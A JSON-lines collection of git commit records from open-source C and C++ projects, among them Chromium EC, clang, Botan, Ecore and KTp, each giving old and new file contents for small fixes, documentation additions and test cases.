{"commit":"bfcf057787d6ce78c503ce8f7773ea316eae0b13","old_file":"src\/rtmixer.h","new_file":"src\/rtmixer.h","old_contents":"\/\/ actions:\n\/\/\n\/\/ * read from queue\n\/\/ * read from array\n\/\/ * write to queue\n\/\/ * write to array\n\/\/ * stop action (with and\/or without time?)\n\/\/ * query xrun stats etc.\n\/\/ timestamp! start, duration (number of samples? unlimited?)\n\/\/ return values: actual start, actual duration (number of samples?)\n\/\/   queue usage: store smallest available write\/read size\n\/\/   xruns during the runtime of the current action\n\/\/\n\/\/ if queue is empty\/full, stop playback\/recording\n\nenum actiontype\n{\n  PLAY_BUFFER,\n  PLAY_RINGBUFFER,\n  RECORD_BUFFER,\n  RECORD_RINGBUFFER,\n};\n\nstruct action\n{\n  enum actiontype actiontype;\n  struct action* next;\n  union {\n    float* buffer;\n    PaUtilRingBuffer* ringbuffer;\n  };\n  unsigned long total_frames;\n  unsigned long done_frames;\n  \/\/ TODO: channel mapping (pointer to list of channels + length)\n  \/\/ TODO: something to store the result of the action?\n};\n\nstruct state\n{\n  int input_channels;\n  int output_channels;\n  PaUtilRingBuffer* action_q;  \/\/ Queue for incoming commands\n  PaUtilRingBuffer* result_q;  \/\/ Queue for results and command disposal\n  struct action* actions;  \/\/ Singly linked list of actions\n};\n\nint callback(const void* input, void* output, unsigned long frames\n  , const PaStreamCallbackTimeInfo* time, PaStreamCallbackFlags status\n  , void* userdata);\n","new_contents":"\/\/ actions:\n\/\/\n\/\/ * read from queue\n\/\/ * read from array\n\/\/ * write to queue\n\/\/ * write to array\n\/\/ * stop action (with and\/or without time?)\n\/\/ * query xrun stats etc.\n\/\/ timestamp! start, duration (number of samples? unlimited?)\n\/\/ return values: actual start, actual duration (number of samples?)\n\/\/   queue usage: store smallest available write\/read size\n\/\/   xruns during the runtime of the current action\n\/\/\n\/\/ if queue is empty\/full, stop playback\/recording\n\nenum actiontype\n{\n  PLAY_BUFFER,\n  PLAY_RINGBUFFER,\n  RECORD_BUFFER,\n  RECORD_RINGBUFFER,\n};\n\nstruct action\n{\n  const enum actiontype actiontype;\n  struct action* next;\n  union {\n    float* const buffer;\n    PaUtilRingBuffer* const ringbuffer;\n  };\n  const unsigned long total_frames;\n  unsigned long done_frames;\n  \/\/ TODO: channel mapping (pointer to list of channels + length)\n  \/\/ TODO: something to store the result of the action?\n};\n\nstruct state\n{\n  const int input_channels;\n  const int output_channels;\n  PaUtilRingBuffer* const action_q;  \/\/ Queue for incoming commands\n  PaUtilRingBuffer* const result_q;  \/\/ Queue for results and command disposal\n  struct action* actions;  \/\/ Singly linked list of actions\n};\n\nint callback(const void* input, void* output, unsigned long frames\n  , const PaStreamCallbackTimeInfo* time, PaStreamCallbackFlags status\n  , void* userdata);\n","subject":"Use const for struct members","message":"Use const for struct members\n","lang":"C","license":"mit","repos":"mgeier\/python-rtmixer,mgeier\/python-rtmixer"}
{"commit":"5986c9fde186378b26f7a5985c97102feba191e8","old_file":"KTp\/error-dictionary.h","new_file":"KTp\/error-dictionary.h","old_contents":"\/*\n    Telepathy error dictionary - usable strings for dbus messages\n    Copyright (C) 2011  Martin Klapetek <martin.klapetek@gmail.com>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n\n#ifndef ERROR_DICTIONARY_H\n#define ERROR_DICTIONARY_H\n\n#include <QString>\n\n#include <KTp\/ktp-export.h>\n\nnamespace KTp\n{\nnamespace ErrorDictionary\n{\n    \/\/\/Returns a verbose error message usable for displaying to the user\n    KTP_EXPORT QString displayVerboseErrorMessage(const QString& dbusErrorName);\n\n    \/\/\/Returns a short error message usable for little space\n    KTP_EXPORT QString displayShortErrorMessage(const QString& dbusErrorName);\n}\n}\n\n#endif \/\/ ERROR_DICTIONARY_H\n","new_contents":"\/*\n    Telepathy error dictionary - usable strings for dbus messages\n    Copyright (C) 2011  Martin Klapetek <martin.klapetek@gmail.com>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n\n#ifndef ERROR_DICTIONARY_H\n#define ERROR_DICTIONARY_H\n\n#include <QString>\n\n#include <KTp\/ktp-export.h>\n\nnamespace KTp\n{\n\/**\n * @short A method of turning error codes into human readable strings\n *\n *\/\nnamespace ErrorDictionary\n{\n    \/**Returns a verbose error message suitable for displaying to the user\n        @param dbusErrorName The Telepathy error as specified in http:\/\/telepathy.freedesktop.org\/spec\/errors.html\n     *\/\n    KTP_EXPORT QString displayVerboseErrorMessage(const QString& dbusErrorName);\n\n    \/**Returns a short error message suitable when there is little space\n        @param dbusErrorName The Telepathy error as specified in http:\/\/telepathy.freedesktop.org\/spec\/errors.html\n     *\/\n    KTP_EXPORT QString displayShortErrorMessage(const QString& dbusErrorName);\n}\n}\n\n#endif \/\/ ERROR_DICTIONARY_H\n","subject":"Add documentation to Error Dictionary class","message":"Add documentation to Error Dictionary class\n\nReviewed-by: Martin Klapetek\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/ktp-common-internals,leonhandreke\/ktp-common-internals,KDE\/ktp-common-internals,KDE\/ktp-common-internals,leonhandreke\/ktp-common-internals,leonhandreke\/ktp-common-internals"}
{"commit":"41ee615c0b08e43dc382bc15600f814ac02abf06","old_file":"chip\/stm32\/usb-stm32f3.c","new_file":"chip\/stm32\/usb-stm32f3.c","old_contents":"\/* Copyright (c) 2014 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * STM32F3 Family specific USB functionality\n *\/\n\n#include \"usb-stm32f3.h\"\n\n#include \"usb_api.h\"\n\nvoid usb_connect(void)\n{\n\tusb_board_connect();\n}\n\nvoid usb_disconnect(void)\n{\n\tusb_board_connect();\n}\n","new_contents":"\/* Copyright (c) 2014 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * STM32F3 Family specific USB functionality\n *\/\n\n#include \"usb-stm32f3.h\"\n\n#include \"usb_api.h\"\n\nvoid usb_connect(void)\n{\n\tusb_board_connect();\n}\n\nvoid usb_disconnect(void)\n{\n\tusb_board_disconnect();\n}\n","subject":"Fix cut and paste bug for board specific disconnection","message":"USB: Fix cut and paste bug for board specific disconnection\n\nSigned-off-by: Anton Staaf <84531b4b964c017023781514a6665b71e84b32bc@chromium.org>\n\nBRANCH=None\nBUG=None\nTEST=make buildall -j\n\nChange-Id: I8ec4396370b7e3068d29d569b73fddc648e1f76f\nReviewed-on: https:\/\/chromium-review.googlesource.com\/247720\nTrybot-Ready: Anton Staaf <84531b4b964c017023781514a6665b71e84b32bc@chromium.org>\nTested-by: Anton Staaf <84531b4b964c017023781514a6665b71e84b32bc@chromium.org>\nReviewed-by: Vic Yang <5fd92abeee651458f98e2856f4f200ee971cee4d@chromium.org>\nCommit-Queue: Anton Staaf <84531b4b964c017023781514a6665b71e84b32bc@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"akappy7\/ChromeOS_EC_LED_Diagnostics,fourier49\/BIZ_EC,fourier49\/BIZ_EC,fourier49\/BZ_DEV_EC,coreboot\/chrome-ec,md5555\/ec,md5555\/ec,akappy7\/ChromeOS_EC_LED_Diagnostics,eatbyte\/chromium-ec,coreboot\/chrome-ec,fourier49\/BZ_DEV_EC,eatbyte\/chromium-ec,fourier49\/BZ_DEV_EC,coreboot\/chrome-ec,eatbyte\/chromium-ec,fourier49\/BZ_DEV_EC,akappy7\/ChromeOS_EC_LED_Diagnostics,coreboot\/chrome-ec,coreboot\/chrome-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,fourier49\/BIZ_EC,md5555\/ec,md5555\/ec,fourier49\/BIZ_EC,coreboot\/chrome-ec,eatbyte\/chromium-ec,akappy7\/ChromeOS_EC_LED_Diagnostics"}
{"commit":"d07295d73267c51bf3d77b97831640db832bacb5","old_file":"samples\/libcurl\/callbacks.h","new_file":"samples\/libcurl\/callbacks.h","old_contents":"#include <stdio.h>\n\n\/\/ Those types are needed but not defined or used in libcurl headers.\ntypedef size_t header_callback(char *buffer,   size_t size,   size_t nitems, void *userdata);\ntypedef size_t write_data_callback(void *buffer, size_t size, size_t nmemb, void *userp);\n\nextern void something_using_callback1(header_callback*);\nextern void something_using_callback2(write_data_callback*);\n","new_contents":"#include <stddef.h>\n\n\/\/ Those types are needed but not defined or used in libcurl headers.\ntypedef size_t header_callback(char *buffer,   size_t size,   size_t nitems, void *userdata);\ntypedef size_t write_data_callback(void *buffer, size_t size, size_t nmemb, void *userp);\n","subject":"Remove some hacks from libcurl sample","message":"Remove some hacks from libcurl sample\n","lang":"C","license":"apache-2.0","repos":"JetBrains\/kotlin-native,jiaminglu\/kotlin-native,JuliusKunze\/kotlin-native,wiltonlazary\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native,jiaminglu\/kotlin-native,JuliusKunze\/kotlin-native,JuliusKunze\/kotlin-native,JuliusKunze\/kotlin-native,JetBrains\/kotlin-native,JuliusKunze\/kotlin-native,JetBrains\/kotlin-native,jiaminglu\/kotlin-native,jiaminglu\/kotlin-native,JetBrains\/kotlin-native,wiltonlazary\/kotlin-native,jiaminglu\/kotlin-native,JuliusKunze\/kotlin-native,jiaminglu\/kotlin-native,wiltonlazary\/kotlin-native,wiltonlazary\/kotlin-native,JuliusKunze\/kotlin-native,JuliusKunze\/kotlin-native,jiaminglu\/kotlin-native,wiltonlazary\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native,JetBrains\/kotlin-native,jiaminglu\/kotlin-native"}
{"commit":"fcb91afaf2823d62453d7c19f66d30bb8dbb7c55","old_file":"test\/PCH\/source-manager-stack.c","new_file":"test\/PCH\/source-manager-stack.c","old_contents":"","new_contents":"\/\/ Test that the source manager has the \"proper\" idea about the include stack\n\/\/ when using PCH.\n\n\/\/ RUN: echo 'int x;' > %t.prefix.h\n\/\/ RUN: not clang-cc -fsyntax-only -include %t.prefix.h %s 2> %t.diags.no_pch.txt\n\/\/ RUN: clang-cc -emit-pch -o %t.prefix.pch %t.prefix.h\n\/\/ RUN: not clang-cc -fsyntax-only -include-pch %t.prefix.pch %s 2> %t.diags.pch.txt\n\/\/ RUN: diff %t.diags.no_pch.txt %t.diags.pch.txt\n\/\/ XFAIL: *\n\/\/ PR5662\n\nfloat x;\n","subject":"Add test case for PR5662.","message":"Add test case for PR5662.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@90264 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"0addd9bb7e5fc1bdb38ec1755ac3bd5e8d869a75","old_file":"src\/python\/helpers\/python_convert_optional.h","new_file":"src\/python\/helpers\/python_convert_optional.h","old_contents":"","new_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PYTHON_HELPERS_PYTHON_CONVERT_OPTIONAL_H\n#define VISTK_PYTHON_HELPERS_PYTHON_CONVERT_OPTIONAL_H\n\n#include <boost\/optional.hpp>\n#include <boost\/python\/converter\/registry.hpp>\n\n#include <Python.h>\n\n\/**\n * \\file python_convert_any.h\n *\n * \\brief Helpers for working with boost::any in Python.\n *\/\n\ntemplate <typename T>\nclass boost_optional_converter\n{\n  public:\n    typedef T type_t;\n    typedef boost::optional<T> optional_t;\n\n    boost_optional_converter()\n    {\n      boost::python::converter::registry::push_back(\n        &convertible,\n        &construct,\n        boost::python::type_id<optional_t>());\n    }\n    ~boost_optional_converter()\n    {\n    }\n\n    static void* convertible(PyObject* obj)\n    {\n      if (obj == Py_None)\n      {\n        return obj;\n      }\n\n      using namespace boost::python::converter;\n\n      registration const& converters(registered<type_t>::converters);\n\n      if (implicit_rvalue_convertible_from_python(obj, converters))\n      {\n        rvalue_from_python_stage1_data data = rvalue_from_python_stage1(obj, converters);\n        return rvalue_from_python_stage2(obj, data, converters);\n      }\n\n      return NULL;\n    }\n\n    static PyObject* convert(optional_t const& opt)\n    {\n      if (opt)\n      {\n        return boost::python::to_python_value<T>()(*opt);\n      }\n      else\n      {\n        return boost::python::detail::none();\n      }\n    }\n\n    static void construct(PyObject* obj, boost::python::converter::rvalue_from_python_stage1_data* data)\n    {\n      void* storage = reinterpret_cast<boost::python::converter::rvalue_from_python_storage<optional_t>*>(data)->storage.bytes;\n\n#define CONSTRUCT(args)            \\\n  do                               \\\n  {                                \\\n    new (storage) optional_t args; \\\n    data->convertible = storage;   \\\n    return;                        \\\n  } while (false)\n\n      if (obj == Py_None)\n      {\n        CONSTRUCT(());\n      }\n      else\n      {\n        type_t* t = reinterpret_cast<type_t*>(data->convertible);\n        CONSTRUCT((*t));\n      }\n\n#undef CONSTRUCT\n    }\n};\n\n#define REGISTER_OPTIONAL_CONVERTER(T)             \\\n  do                                               \\\n  {                                                \\\n    typedef boost_optional_converter<T> converter; \\\n    typedef typename converter::optional_t opt_t;  \\\n    to_python_converter<opt_t, converter>();       \\\n    converter();                                   \\\n  } while (false)\n\n#endif \/\/ VISTK_PYTHON_PIPELINE_PYTHON_CONVERT_OPTIONAL_H\n","subject":"Add boost::optional wrapper for python bindings","message":"Add boost::optional wrapper for python bindings\n","lang":"C","license":"bsd-3-clause","repos":"linus-sherrill\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit"}
{"commit":"8a47f7478c3e73f916a13dd3d0b7cd1e140e21e7","old_file":"src\/lib\/ecore\/Ecore_Str.h","new_file":"src\/lib\/ecore\/Ecore_Str.h","old_contents":"#ifndef _ECORE_STR_H\n# define _ECORE_STR_H\n\n#ifdef EAPI\n#undef EAPI\n#endif\n#ifdef WIN32\n# ifdef BUILDING_DLL\n#  define EAPI __declspec(dllexport)\n# else\n#  define EAPI __declspec(dllimport)\n# endif\n#else\n# ifdef __GNUC__\n#  if __GNUC__ >= 4\n#   define EAPI __attribute__ ((visibility(\"default\")))\n#  else\n#   define EAPI\n#  endif\n# else\n#  define EAPI\n# endif\n#endif\n\n\/**\n * @file Ecore_Data.h\n * @brief Contains threading, list, hash, debugging and tree functions.\n *\/\n\n# ifdef __cplusplus\nextern \"C\" {\n# endif\n\n# ifdef __sgi\n#  define __FUNCTION__ \"unknown\"\n#  ifndef __cplusplus\n#   define inline\n#  endif\n# endif\n\n   \/* strlcpy implementation for libc's lacking it *\/\n   EAPI size_t ecore_strlcpy(char *dst, const char *src, size_t siz);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\t\t\t\t\/* _ECORE_STR_H *\/\n","new_contents":"#ifndef _ECORE_STR_H\n# define _ECORE_STR_H\n\n#ifdef EAPI\n#undef EAPI\n#endif\n#ifdef WIN32\n# ifdef BUILDING_DLL\n#  define EAPI __declspec(dllexport)\n# else\n#  define EAPI __declspec(dllimport)\n# endif\n#else\n# ifdef __GNUC__\n#  if __GNUC__ >= 4\n#   define EAPI __attribute__ ((visibility(\"default\")))\n#  else\n#   define EAPI\n#  endif\n# else\n#  define EAPI\n# endif\n#endif\n\n\/**\n * @file Ecore_Str.h\n * @brief Contains useful C string functions.\n *\/\n\n# ifdef __cplusplus\nextern \"C\" {\n# endif\n\n# ifdef __sgi\n#  define __FUNCTION__ \"unknown\"\n#  ifndef __cplusplus\n#   define inline\n#  endif\n# endif\n\n   \/* strlcpy implementation for libc's lacking it *\/\n   EAPI size_t ecore_strlcpy(char *dst, const char *src, size_t siz);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\t\t\t\t\/* _ECORE_STR_H *\/\n","subject":"Fix doxygen comments for new header.","message":"Fix doxygen comments for new header.\n\n\ngit-svn-id: 70cf712206e5b8426a8d7451e052914a94f8fa22@27891 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"mit","repos":"OpenInkpot-archive\/ecore,OpenInkpot-archive\/ecore,OpenInkpot-archive\/ecore"}
{"commit":"00d1ca91bb5bb8530e9a9a3b9790ea8a4eec7305","old_file":"core\/gluonvarianttypes.h","new_file":"core\/gluonvarianttypes.h","old_contents":"\/*\n<one line to give the program's name and a brief idea of what it does.>\nCopyright (C) <year>  <name of author>\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n\/\/\/TODO: Make this something entirely different... QVariant wrapped Eigen types, wooh! ;)\n\n#ifndef GLUON_VARIANTTYPES\n#define GLUON_VARIANTTYPES\n\n#include <QtCore\/QVariant>\n#include <QtCore\/QMetaType>\n#include <Eigen\/Geometry>\n\nQ_DECLARE_METATYPE(Eigen::Vector3d)\nQ_DECLARE_METATYPE(Eigen::Vector3f)\n\nnamespace\n{\n    struct GluonVariantTypes\n    {\n        public:\n            GluonVariantTypes()\n            {\n                qRegisterMetaType<Eigen::Vector3d>(\"Eigen::Vector3d\");\n                qRegisterMetaType<Eigen::Vector3f>(\"Eigen::Vector3f\");\n            }\n    };\n\n    GluonVariantTypes gluonVariantTypes;\n}\n#endif\n","new_contents":"\/*\n<one line to give the program's name and a brief idea of what it does.>\nCopyright (C) <year>  <name of author>\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n\/\/\/TODO: Make this something entirely different... QVariant wrapped Eigen types, wooh! ;)\n\n#ifndef GLUON_VARIANTTYPES\n#define GLUON_VARIANTTYPES\n\n#include <QtCore\/QVariant>\n#include <QtCore\/QMetaType>\n#include <Eigen\/Geometry>\n\nQ_DECLARE_METATYPE(Eigen::Vector3d);\nQ_DECLARE_METATYPE(Eigen::Vector3f);\nQ_DECLARE_METATYPE(Eigen::Quaternionf);\n\nnamespace\n{\n    struct GluonVariantTypes\n    {\n        public:\n            GluonVariantTypes()\n            {\n                qRegisterMetaType<Eigen::Vector3d>(\"Eigen::Vector3d\");\n                qRegisterMetaType<Eigen::Vector3f>(\"Eigen::Vector3f\");\n                qRegisterMetaType<Eigen::Quaternionf>(\"Eigen::Quaternionf\");\n            }\n    };\n\n    GluonVariantTypes gluonVariantTypes;\n}\n#endif\n","subject":"Add Quaternion to variant types, makes Q_PROPERTY support it","message":"Add Quaternion to variant types, makes Q_PROPERTY support it\n","lang":"C","license":"lgpl-2.1","repos":"cgaebel\/gluon,KDE\/gluon,cgaebel\/gluon,pranavrc\/example-gluon,cgaebel\/gluon,pranavrc\/example-gluon,pranavrc\/example-gluon,cgaebel\/gluon,KDE\/gluon,pranavrc\/example-gluon,KDE\/gluon,KDE\/gluon"}
{"commit":"a62eaa2f7447d930db84f966986736d30ef522bb","old_file":"src\/block\/serpent\/serpent.h","new_file":"src\/block\/serpent\/serpent.h","old_contents":"\/*\n* Serpent\n* (C) 1999-2007 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_SERPENT_H__\n#define BOTAN_SERPENT_H__\n\n#include <botan\/block_cipher.h>\n\nnamespace Botan {\n\n\/**\n* Serpent, an AES finalist\n*\/\nclass BOTAN_DLL Serpent : public BlockCipher\n   {\n   public:\n      void encrypt_n(const byte in[], byte out[], u32bit blocks) const;\n      void decrypt_n(const byte in[], byte out[], u32bit blocks) const;\n\n      void clear() { round_key.clear(); }\n      std::string name() const { return \"Serpent\"; }\n      BlockCipher* clone() const { return new Serpent; }\n      Serpent() : BlockCipher(16, 16, 32, 8) {}\n   protected:\n      void key_schedule(const byte key[], u32bit length);\n\n      SecureVector<u32bit, 132> round_key;\n   };\n\n}\n\n#endif\n","new_contents":"\/*\n* Serpent\n* (C) 1999-2007 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_SERPENT_H__\n#define BOTAN_SERPENT_H__\n\n#include <botan\/block_cipher.h>\n\nnamespace Botan {\n\n\/**\n* Serpent, an AES finalist\n*\/\nclass BOTAN_DLL Serpent : public BlockCipher\n   {\n   public:\n      void encrypt_n(const byte in[], byte out[], u32bit blocks) const;\n      void decrypt_n(const byte in[], byte out[], u32bit blocks) const;\n\n      void clear() { round_key.clear(); }\n      std::string name() const { return \"Serpent\"; }\n      BlockCipher* clone() const { return new Serpent; }\n      Serpent() : BlockCipher(16, 16, 32, 8) {}\n   protected:\n      \/**\n      * For use by subclasses using SIMD, asm, etc\n      * @return const reference to the key schedule\n      *\/\n      const SecureVector<u32bit, 132>& get_round_keys() const\n         { return round_key; }\n\n      \/**\n      * For use by subclasses that implement the key schedule\n      * @param ks is the new key schedule value to set\n      *\/\n      void set_round_keys(const u32bit ks[132])\n         { round_key.set(ks, 132); }\n\n   private:\n      void key_schedule(const byte key[], u32bit length);\n      SecureVector<u32bit, 132> round_key;\n   };\n\n}\n\n#endif\n","subject":"Make Serpent's key_schedule and actual round keys private. Add protected accessor functions for get and set. Set is needed by the x86 version since it implements the key schedule directly.","message":"Make Serpent's key_schedule and actual round keys private. Add\nprotected accessor functions for get and set. Set is needed by the x86\nversion since it implements the key schedule directly.\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,randombit\/botan"}
{"commit":"edd722e38b883236c9f214d5df309110500b3529","old_file":"test\/Sema\/attr-noreturn.c","new_file":"test\/Sema\/attr-noreturn.c","old_contents":"\/\/ RUN: clang-cc -verify -fsyntax-only %s\n\nstatic void (*fp0)(void) __attribute__((noreturn));\n\nstatic void __attribute__((noreturn)) f0(void) {\n  fatal();\n} \/\/ expected-warning {{function declared 'noreturn' should not return}}\n\n\/\/ On K&R\nint f1() __attribute__((noreturn));\n\nint g0 __attribute__((noreturn)); \/\/ expected-warning {{'noreturn' attribute only applies to function types}}\n\nint f2() __attribute__((noreturn(1, 2))); \/\/ expected-error {{attribute requires 0 argument(s)}}\n\nvoid f3() __attribute__((noreturn));\nvoid f3() {\n  return;  \/\/ expected-warning {{function 'f3' declared 'noreturn' should not return}}\n}\n\n#pragma clang diagnostic error \"-Winvalid-noreturn\"\n\nvoid f4() __attribute__((noreturn));\nvoid f4() {\n  return;  \/\/ expected-error {{function 'f4' declared 'noreturn' should not return}}\n}\n\n\/\/ PR4685\nextern void f5 (unsigned long) __attribute__ ((__noreturn__));\n\nvoid\nf5 (unsigned long size)\n{\n  \n}\n","new_contents":"\/\/ RUN: clang -cc1 -verify -fsyntax-only %s\n\nstatic void (*fp0)(void) __attribute__((noreturn));\n\nstatic void __attribute__((noreturn)) f0(void) {\n  fatal();\n} \/\/ expected-warning {{function declared 'noreturn' should not return}}\n\n\/\/ On K&R\nint f1() __attribute__((noreturn));\n\nint g0 __attribute__((noreturn)); \/\/ expected-warning {{'noreturn' attribute only applies to function types}}\n\nint f2() __attribute__((noreturn(1, 2))); \/\/ expected-error {{attribute requires 0 argument(s)}}\n\nvoid f3() __attribute__((noreturn));\nvoid f3() {\n  return;  \/\/ expected-warning {{function 'f3' declared 'noreturn' should not return}}\n}\n\n#pragma clang diagnostic error \"-Winvalid-noreturn\"\n\nvoid f4() __attribute__((noreturn));\nvoid f4() {\n  return;  \/\/ expected-error {{function 'f4' declared 'noreturn' should not return}}\n}\n\n\/\/ PR4685\nextern void f5 (unsigned long) __attribute__ ((__noreturn__));\n\nvoid\nf5 (unsigned long size)\n{\n  \n}\n\n\/\/ PR2461\n__attribute__((noreturn)) void f(__attribute__((noreturn)) void (*x)(void)) {\n  x();\n}\n","subject":"Add testcase for recent checkin.","message":"Add testcase for recent checkin.\n\nPatch by Chip Davis.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@91436 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"1cdd41d0d2ab5e112d347ec5f14383b5f5ba6034","old_file":"kmer_util.h","new_file":"kmer_util.h","old_contents":"#ifndef KMER_UTIL_H\n#define KMER_UTIL_H\n#include <assert.h>\n#include \"logging_util.h\"\n\/\/ Largest odd kmer that can be held in a uint64_t\n#define MAX_KMER 31\n#define DEFAULT_KMER 21\n\n#ifndef num2nuc\n# ifndef NUM2NUC_STR\n#  define NUM2NUC_STR \"ACGTN\"\n# endif\n# define num2nuc(x) NUM2NUC_STR[(uint8_t)x]\n#endif\n\n#ifdef __cplusplus\nnamespace dlib {\n#endif\n\n    inline void kmer2cstr(uint64_t kmer, int k, char *buf)\n    {\n        buf[k] = '\\0';\n        while(k) *buf++ = num2nuc((kmer >> (2 * --k)) & 0x3u);\n        \/\/LOG_DEBUG(\"kmer %lu has now become string '%s'.\\n\", kmer, start);\n    }\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"#ifndef KMER_UTIL_H\n#define KMER_UTIL_H\n#include <assert.h>\n#include \"logging_util.h\"\n\/\/ Largest odd kmer that can be held in a uint64_t\n#define MAX_KMER 31\n#define DEFAULT_KMER 21\n\n#ifndef num2nuc\n# ifndef NUM2NUC_STR\n#  define NUM2NUC_STR \"ACGTN\"\n# endif\n# define num2nuc(x) NUM2NUC_STR[(uint8_t)x]\n#endif\n\n#ifdef __cplusplus\nnamespace dlib {\n#endif\n\n    inline void kmer2cstr(uint64_t kmer, int k, char *buf)\n    {\n        buf[k] = '\\0';\n        while(k) *buf++ = num2nuc((kmer >> (2 * --k)) & 0x3u);\n        \/\/LOG_DEBUG(\"kmer %lu has now become string '%s'.\\n\", kmer, start);\n    }\n\n    \/\/ Used to determine the direction in which to encode a kmer\n    inline int cstr_rc_lt(char *seq, int k, int cpos) {\n        char *_seq1 = cpos + seq, *_seq2 = _seq1 + k - 1;\n        for(;k;--k) {\n            if(*_seq1 != nuc_cmpl(*_seq2)) return *_seq1 < nuc_cmpl(*_seq2);\n            ++_seq1, --_seq2;\n        }\n        return 0; \/\/ This is reverse-complementarily palindromic. Doesn't matter: it's the same string.\n    }\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Move kmer functionality from kmei to dlib.","message":"Move kmer functionality from kmei to dlib.\n","lang":"C","license":"mit","repos":"noseatbelts\/dlib,noseatbelts\/dlib"}
